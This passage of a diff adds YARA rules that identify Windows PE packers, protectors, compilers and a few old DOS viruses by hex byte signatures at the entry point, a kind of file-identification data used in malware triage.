+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_v11_
+{
+	meta:
+		description = "PKLITE32 v1.1"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+		$1 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+		$2 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+		$3 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+		$4 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _VcasmProtector_11__12__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.1 - 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _TopSpeed_v301_1989_
+{
+	meta:
+		description = "TopSpeed v3.01 1989"
+	strings:
+		$0 = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Haryanto_
+{
+	meta:
+		description = "Vx: Haryanto"
+	strings:
+		$0 = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_2x4x_DLL__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.x-4.x DLL -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_280_290_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V11__cyberbob_
+{
+	meta:
+		description = "PESpin V1.1 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeLock_vxx_
+{
+	meta:
+		description = "Code-Lock vx.x"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16b__v16c__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6b / v1.6c --> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+		$1 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE32_11_
+{
+	meta:
+		description = "PKLITE32 1.1"
+	strings:
+		$0 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+	condition:
+		$0 at entrypoint
+}
+rule _624_Six_to_Four_v10_
+{
+	meta:
+		description = "624 (Six to Four) v1.0"
+	strings:
+		$0 = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Macromedia Flash Projector 6.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_SK_
+{
+	meta:
+		description = "Vx: SK"
+	strings:
+		$0 = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10_
+{
+	meta:
+		description = "FSG v1.0"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_22006710220061025__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2006.7.10-2.2006.10.25 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_ZCode_101__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ZCode 1.01) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v30xx_
+{
+	meta:
+		description = "Crunch/PE v3.0.x.x"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogens_PE_Shrinker_v014_
+{
+	meta:
+		description = "Virogen`s PE Shrinker v0.14"
+	strings:
+		$0 = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_MTEc_
+{
+	meta:
+		description = "ASProtect v1.1 MTEc"
+	strings:
+		$0 = {90 60 E8 1B ?? ?? ?? E9 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie2100_
+{
+	meta:
+		description = "Vx: Eddie.2100"
+	strings:
+		$0 = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v01x__v02x__Dwing_
+{
+	meta:
+		description = "Upack v0.1x - v0.2x -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ExeSmasher] --> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v110_v111_
+{
+	meta:
+		description = "HACKSTOP v1.10, v1.11"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v5_
+{
+	meta:
+		description = "Dev-C++ v5"
+	strings:
+		$0 = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _ANDpakk2_018__by_Dmitry_AND_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.18 - by Dmitry AND Andreev"
+	strings:
+		$0 = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Stelth_PE_101__BGCorp_
+{
+	meta:
+		description = "Ste@lth PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt__LaZaRus_
+{
+	meta:
+		description = "LameCrypt -> LaZaRus"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2736__Jitit_
+{
+	meta:
+		description = "Thinstall 2.736 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_v200335_
+{
+	meta:
+		description = "CreateInstall v2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_Microsoft_Visual_Cpp__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake Microsoft Visual C++) -> emadicius"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _APatch_GUI_v11_
+{
+	meta:
+		description = "APatch GUI v1.1"
+	strings:
+		$0 = {52 31 C0 E8 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi_20_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)"
+	strings:
+		$0 = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11__vcasm_
+{
+	meta:
+		description = "VProtector V1.1 -> vcasm"
+	strings:
+		$0 = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v111c_
+{
+	meta:
+		description = "HACKSTOP v1.11c"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [NorthStar PE Shrinker 1.3] --> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_15__Vaska_
+{
+	meta:
+		description = "RCryptor 1.5 -> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Involuntary1349_
+{
+	meta:
+		description = "Vx: Involuntary.1349"
+	strings:
+		$0 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+	condition:
+		$0 at entrypoint
+}
+rule _AINEXE_v21_
+{
+	meta:
+		description = "AINEXE v2.1"
+	strings:
+		$0 = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_V031__emadicius_
+{
+	meta:
+		description = "[MSLRH] V0.31 -> emadicius"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_v202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock v2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+		$1 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$2 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEtite_21__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PEtite 2.1) -> emadicius"
+	strings:
+		$0 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20a0_
+{
+	meta:
+		description = "Nullsoft Install System v2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+	condition:
+		$0
+}
+rule _PECrc32_088__ZhouJinYu_
+{
+	meta:
+		description = "PECrc32 0.88 -> ZhouJinYu"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Modified_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Modified)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_103__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCKnt_204_
+{
+	meta:
+		description = "PELOCKnt 2.04"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _nMacro_recorder_10_
+{
+	meta:
+		description = "nMacro recorder 1.0"
+	strings:
+		$0 = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v151_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+	condition:
+		$0
+}
+rule _PEArmor_V07X__hying_
+{
+	meta:
+		description = "PE-Armor V0.7X -> hying"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _iPB_Protect_013__017__forgot_
+{
+	meta:
+		description = "iPB Protect 0.1.3 - 0.1.7 -> forgot"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v10_
+{
+	meta:
+		description = "y0da's Crypter v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Trainer_Creation_Kit_v5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit v5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+	condition:
+		$0
+}
+rule _SoftSentry_v30_
+{
+	meta:
+		description = "SoftSentry v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_v304_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a, v3.04 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v10b__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.0b -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_10__IonIce_
+{
+	meta:
+		description = "Exe Locker 1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v200644_
+{
+	meta:
+		description = "Pe123  v2006.4.4"
+	strings:
+		$0 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_1200331812003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.3.18-1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1334__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
